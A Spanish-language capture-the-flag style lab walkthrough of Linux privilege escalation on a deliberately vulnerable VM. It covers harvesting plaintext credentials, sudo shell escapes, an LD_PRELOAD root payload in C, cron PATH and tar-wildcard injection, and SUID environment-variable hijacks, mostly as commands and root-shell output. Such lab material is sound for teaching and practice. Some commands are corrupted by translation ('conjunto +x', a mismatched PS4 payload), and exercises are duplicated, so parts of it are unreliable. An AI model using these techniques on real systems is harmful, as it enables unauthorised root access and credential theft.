

# LABORATORIO VM

## Exercise 4 – Password Mining (Configuration Files)

Exploitation

Linux

VM

1. En el símbolo del sistema, escriba: `cat /home/user/myvpn.ovpn`
2. En la salida, tome nota del valor de la directiva "auth-user-pass": `/etc/openvpn/auth.txt`
3. En el símbolo del sistema, escriba: `cat /etc/openvpn/auth.txt`
4. En la salida, tome nota de las credenciales de texto sin cifrar:

**User:user**

**Pass:password321**

5. En el símbolo del sistema, escriba: `cat /home/user/.irssi/config | grep -i passw`
6. En la salida, tome nota de las credenciales de texto sin cifrar: `autosendcmd = "/msg nickserv identify password321 ; esperar 2000";`

Nos da las credenciales del usuario.

```
RX bytes:8756 (8.5 KiB) TX bytes:8756 (8.5 KiB)
user@debian:~$ cat /home/user/myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0

user@debian:~$ cat /etc/openvpn/auth.txt
user
password321
user@debian:~$ cat /home/user/.irssi/config | grep -i passw
    autosendcmd = "/msg nickserv identify password321 ;wait 2000";
user@debian:~$
```

## Exercise 5 – Password Mining (History)

Exploitation

Linux VM

1. En el símbolo del sistema, escriba: **cat ~/.bash\_history | grep -i passw**
2. A partir de la salida, tome nota de las credenciales de texto sin cifrar:

**mysql -h somehost.local -uroot -ppassword123**

```
user@debian:~$ cat ~/.bash_history | grep -i passw
mysql -h somehost.local -uroot -ppassword123
user@debian:~$ _
```

Vemos el historial de credenciales de la máquina, en este caso obtenemos las credenciales de root.

## Exercise 6 – Sudo (Shell Escape Sequences)

Detection

Linux VM

1. En el símbolo del sistema, escriba: **sudo -l**
2. En la salida, observe la lista de programas que se pueden ejecutar a través de sudo.

Exploitation

Linux VM

1. En el símbolo del sistema, escriba cualquiera de las siguientes opciones:

a. **sudo find /bin -name nano -exec /bin/sh \;**

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:
  (root) NOPASSWD: /usr/sbin/iftop
  (root) NOPASSWD: /usr/bin/find
  (root) NOPASSWD: /usr/bin/nano
  (root) NOPASSWD: /usr/bin/vim
  (root) NOPASSWD: /usr/bin/man
  (root) NOPASSWD: /usr/bin/awk
  (root) NOPASSWD: /usr/bin/less
  (root) NOPASSWD: /usr/bin/ftp
  (root) NOPASSWD: /usr/bin/nmap
  (root) NOPASSWD: /usr/sbin/apache2
  (root) NOPASSWD: /bin/more
user@debian:~$ sudo find /bin -name nano -exec /bin/sh \;
sh-4.1# whoami
root
```

Obtenemos permisos de root al ejecutar el comando.

**b. `sudo awk 'BEGIN {system("/bin/sh")}'`**

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:
  (root) NOPASSWD: /usr/sbin/iftop
  (root) NOPASSWD: /usr/bin/find
  (root) NOPASSWD: /usr/bin/nano
  (root) NOPASSWD: /usr/bin/vim
  (root) NOPASSWD: /usr/bin/man
  (root) NOPASSWD: /usr/bin/awk
  (root) NOPASSWD: /usr/bin/less
  (root) NOPASSWD: /usr/bin/ftp
  (root) NOPASSWD: /usr/bin/nmap
  (root) NOPASSWD: /usr/sbin/apache2
  (root) NOPASSWD: /bin/more
user@debian:~$ sudo awk 'BEGIN {system("/bin/sh")}';
sh-4.1# whoami
root
sh-4.1# _
```

Obtenemos permisos de root al ejecutar el comando.

**c. `echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse`**

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:
  (root) NOPASSWD: /usr/sbin/iftop
  (root) NOPASSWD: /usr/bin/find
  (root) NOPASSWD: /usr/bin/nano
  (root) NOPASSWD: /usr/bin/vim
  (root) NOPASSWD: /usr/bin/man
  (root) NOPASSWD: /usr/bin/awk
  (root) NOPASSWD: /usr/bin/less
  (root) NOPASSWD: /usr/bin/ftp
  (root) NOPASSWD: /usr/bin/nmap
  (root) NOPASSWD: /usr/sbin/apache2
  (root) NOPASSWD: /bin/more
user@debian:~$ echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
Starting Nmap 5.00 ( http://nmap.org ) at 2023-11-27 08:25 EST
sh-4.1# whoami
root
sh-4.1# s
```

Obtenemos permisos de root al ejecutar el comando.

**d. `sudo vim -c '!sh'`**

```
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:
  (root) NOPASSWD: /usr/sbin/iftop
  (root) NOPASSWD: /usr/bin/find
  (root) NOPASSWD: /usr/bin/nano
  (root) NOPASSWD: /usr/bin/vim
  (root) NOPASSWD: /usr/bin/man
  (root) NOPASSWD: /usr/bin/awk
  (root) NOPASSWD: /usr/bin/less
  (root) NOPASSWD: /usr/bin/ftp
  (root) NOPASSWD: /usr/bin/nmap
  (root) NOPASSWD: /usr/sbin/apache2
  (root) NOPASSWD: /bin/more
user@debian:~$ sudo vim -c '!sh'
```

Obtenemos permisos de root al ejecutar el comando.

```
:!sh
sh-4.1# date
Mon Nov 27 08:28:37 EST 2023
sh-4.1#
```

## Exercise 6 – Sudo (Shell Escape Sequences)

### Detection

Linux VM

1. En el símbolo del sistema, escriba: `sudo -l`
2. En la salida, observe la lista de programas que se pueden ejecutar a través de sudo.

### Explotación

Máquina virtual Linux

1. En el símbolo del sistema, escriba cualquiera de las siguientes opciones:

a. **`sudo find /bin -name nano -exec /bin/sh \;`**

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more
user@debian:~$ sudo find /bin -name nano -exec /bin/sh \;
sh-4.1#
```

b. **`sudo awk 'BEGIN {system("/bin/sh")}'`**

```
user@debian:~$ sudo find /bin -name nano -exec /bin/sh \;
sh-4.1# exit
exit
user@debian:~$ sudo awk 'BEGIN {system("/bin/sh")}'
sh-4.1# whoami
root
sh-4.1#
```

c. **`echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse`**

```
pt user@debian:~$ echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=sh-
ell.nse
Starting Nmap 5.00 ( http://nmap.org ) at 2023-11-27 18:41 EST
sh-4.1# _
```

d. **sudo vim -c '!sh'**

```
:!sh
sh-4.1#
```

## Exercise 8 – Sudo (LD\_PRELOAD)

### Detection

Linux VM

1. En el símbolo del sistema, escriba: `sudo -l`
2. En la salida, observe que la variable de entorno `LD_PRELOAD` está intacta.

### Exploitation

Crearemos un archivo en **nano** con el comando:

**cd /tmp**

**nano x.c**

```
user@debian:/tmp$ cd /tmp
user@debian:/tmp$ nano x.c_
```

1. Abrimos un editor de texto y copiamos para crear el payload:

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

2. Guardaremos el fichero como **x.c**

```
user@debian:/tmp$ ls -la x.c
-rw-r--r-- 1 user user 150 Nov 27 18:21 x.c
user@debian:/tmp$ _
```

3. Ejecutamos el comando:

**gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles**

```
user@debian:/tmp$ gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
user@debian:/tmp$ _
```

4. Seguido de:

**sudo LD\_PRELOAD=/tmp/x.so apache2**

[ Wrote 11 lines ]

```
user@debian:/tmp$ gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
user@debian:/tmp$ sudo LD_PRELOAD=/tmp/x.so apache2
root@debian:/tmp# _
```

5. Comprobación: **id**

```
root@debian:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/tmp#
```

## Exercise 10 – Cron (Path)

Detection

Linux VM

1. En el símbolo del sistema, escriba: **cat /etc/crontab**
2. En la salida, observe el valor de la variable "PATH".

```
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
```

Exploitation

Linux VM

1. En el símbolo del sistema, escriba:

**echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh**

```
user@debian:~$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/ov
erwrite.sh
user@debian:~$ _
```

2. En el símbolo del sistema, escriba: **chmod +x /home/user/overwrite.sh**

```
user@debian:~$ chmod +x /home/user/overwrite.sh
user@debian:~$
```

3. Espere 1 minuto para que se ejecute el script de Bash.

```
user@debian:~$ date
Mon Nov 27 08:45:27 EST 2023
user@debian:~$ date
Mon Nov 27 08:46:27 EST 2023
```

4. En el símbolo del sistema, escriba: **/tmp/bash -p**

```
user@debian:~$ chmod +x /home/user/overwrite.sh
user@debian:~$ /tmp/bash -p
bash-4.1# _
```

5. En el símbolo del sistema, escriba: **id**

```
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),
,25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# _
```

## Exercise 11 – Cron (Wildcards)

Detection

Linux VM

1. Escribimos: **cat /etc/crontab**

2. Nos fijamos en “/usr/local/bin/compress.sh”

```
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
```

3. Escribimos: **cat /usr/local/bin/compress.sh**

```
user@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
user@debian:~$
```

4. En la salida, observe el comodín (\*) utilizado por 'tar'.

```
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

Explotación

Máquina virtual Linux

1. En el símbolo del sistema, escriba:

**echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh**

```
user@debian:~$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
```

2. **touch /home/user/--checkpoint=1**

```
user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ _
```



3. **touch /home/user/--checkpoint-action=exec=sh\ runme.sh**

```
user@debian:~$ touch /home/user/--checkpoint-action=exec=sh\ runme.sh
user@debian:~$
```

4. Espere 1 minuto para que se ejecute el script de Bash.

```
user@debian:~$ touch /home/user/--checkpoint-action=exec=sh\ runme.sh
user@debian:~$ date
Mon Nov 27 08:55:55 EST 2023
user@debian:~$ date
Mon Nov 27 08:58:47 EST 2023
user@debian:~$ _
```

5. En el símbolo del sistema, escriba: **/tmp/bash -p**

```
user@debian:~$ /tmp/bash -p
bash-4.1# whoami
root
bash-4.1# _
```

6. En el símbolo del sistema, escriba: **id**

```
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# _
```

## Exercise 15 – File Permissions (SUID Binary – Environment Variables #1)

### Detection

Linux VM

1. En el símbolo del sistema, escriba:

**find / -type f -perm -04000 -ls 2>/dev/null**

2. A partir de la salida, tome nota de todos los binarios SUID.

3. En el símbolo del sistema, escriba:

#### strings/usr/local/bin/suid-env

```
473324 36 -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
473328 36 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
473292 84 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
473312 36 -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
473290 60 -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
1158724 912 -rwsr-sr-x 1 root root 926536 Nov 27 18:48 /tmp/bash
465223 100 -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.n
fs
user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service_apache2_start
```

4. En la salida, observe las funciones utilizadas por el binario.

## Explotación

Máquina virtual Linux

1. En el símbolo del sistema, escriba:

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
```

```
service_apache2_start
user@debian:~$ echo 'int main() {setgid(0); setuid(0); system("/bin/bash"); retu
rn 0; }' > /tmp/service.c
user@debian:~$
```

2. En el símbolo del sistema, escriba:

```
user@debian:~$ gcc /tmp/service.c -o /tmp/service
user@debian:~$ gcc /tmp/service.c -o /tmp/service
user@debian:~$
```

3. En el símbolo del sistema, escriba:

```
export PATH=/tmp:$PATH
```

```
user@debian:~$ gcc /tmp/service.c -o /tmp/service
user@debian:~$ export PATH=/tmp:$PATH
user@debian:~$
```

4. En el símbolo del sistema, escriba:

```
/usr/local/bin/suid-env
```

```
user@debian:~$ export PATH=/tmp:$PATH
user@debian:~$ /usr/local/bin/suid-env
root@debian:~#
```

5. En el símbolo del sistema, escriba: **id**

```
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44
(video),46(plugdev),1000(user)
root@debian:~#
```

## Exercise 16 – File Permissions (SUID Binary – Environment Variables #2)

### Detection

Linux VM

1. En el símbolo del sistema, escriba:

```
find / -type f -perm -04000 -ls 2>/dev/null
```

```
sud
809077  40 -rwsr-xr-x  1 root    root      39856 Feb 15  2011 /usr/bin/chfn
816078  12 -rwsr-sr-x  1 root    staff    9861 May 14  2017 /usr/local/bin/suid-so
816762   8 -rwsr-sr-x  1 root    staff    6883 May 14  2017 /usr/local/bin/suid-env
816764   8 -rwsr-sr-x  1 root    staff    6899 May 14  2017 /usr/local/bin/suid-env2
815723 948 -rwsr-xr-x  1 root    root     963691 May 13  2017 /usr/sbin/exim-4.84-3
832517   8 -rwsr-xr-x  1 root    root      6776 Dec 19  2010 /usr/lib/eject/dmccrypt-get-device
832743  212 -rwsr-xr-x  1 root    root     212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
812623  12 -rwsr-xr-x  1 root    root     10592 Feb 15  2016 /usr/lib/pt_chown
473324  36 -rwsr-xr-x  1 root    root      36640 Oct 14  2010 /bin/ping6
473323  36 -rwsr-xr-x  1 root    root      34248 Oct 14  2010 /bin/ping
473292  84 -rwsr-xr-x  1 root    root     78616 Jan 25  2011 /bin/mount
473312  36 -rwsr-xr-x  1 root    root      34024 Feb 15  2011 /bin/su
473290  60 -rwsr-xr-x  1 root    root     53648 Jan 25  2011 /bin/umount
1158724 912 -rwsr-sr-x  1 root    root     926536 Nov 27 19:00 /tmp/bash
465223 100 -rwsr-xr-x  1 root    root     94992 Dec 13  2014 /sbin/mount.nfs
```

2. A partir de la salida, tome nota de todos los binarios SUID.

3. En el símbolo del sistema, escriba:

```
strings /usr/local/bin/suid-env
```

```

user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
user@debian:~$ _

```

4. En la salida, observe las funciones utilizadas por el binario.

## Método de Explotación #1

Máquina virtual Linux

1. En el símbolo del sistema, escriba:

```

function /usr/sbin/service() { cp /bin/bash /tmp & chmod +s /tmp/bash && /tmp/bash
-p; }

```

```

service apache2 start
user@debian:~$ function /usr/sbin/service() { cp /bin/bash /tmp & chmod +s /tmp/
bash && /tmp/bash -p;}

```

2. En el símbolo del sistema, escriba:

**export -f /usr/sbin/service**

```

bash && /tmp/bash -p;}
user@debian:~$ export -f /usr/sbin/service_

```

3. En el símbolo del sistema, escriba:

**/usr/local/bin/suid-env2**

```

user@debian:~$ /usr/local/bin/suid-env2
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44
(video),46(plugdev),1000(user)
root@debian:~#

```

## Método de explotación #2

## Máquina virtual Linux

1. En el símbolo del sistema, escriba:

```
env -i SHELLOPTS=xtrace PS4='${cp /bin/bash /tmp && chown root.root /tmp/bash &&  
chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; conjunto +x; /tmp/bash -p'
```

```
SERVICE=apache2  
shift  
 '[' 1 -gt 0 ']'  
case "${1}" in  
 '[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'  
 '[' 1 -eq 2 -a ' ' = --full-restart ']'  
 '[' -z apache2 ']'  
 '[' -z ' ' ']'  
ACTION=start  
shift  
 '[' 0 -gt 0 ']'  
 '[' -r /etc/init/apache2.conf ']'  
 '[' -x /etc/init.d/apache2 ']'  
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/  
bin TERM=dumb /etc/init.d/apache2 start  
Starting web server: apache2httpd (pid 1506) already running  
.  
cp: cannot create regular file `/tmp/bash': Permission denied  
conjunto +x  
/bin/sh: conjunto: command not found  
cp: cannot create regular file `/tmp/bash': Permission denied  
/tmp/bash -p  
bash-4.1#
```

```
bash-4.1# id  
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom)  
,25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)  
bash-4.1#
```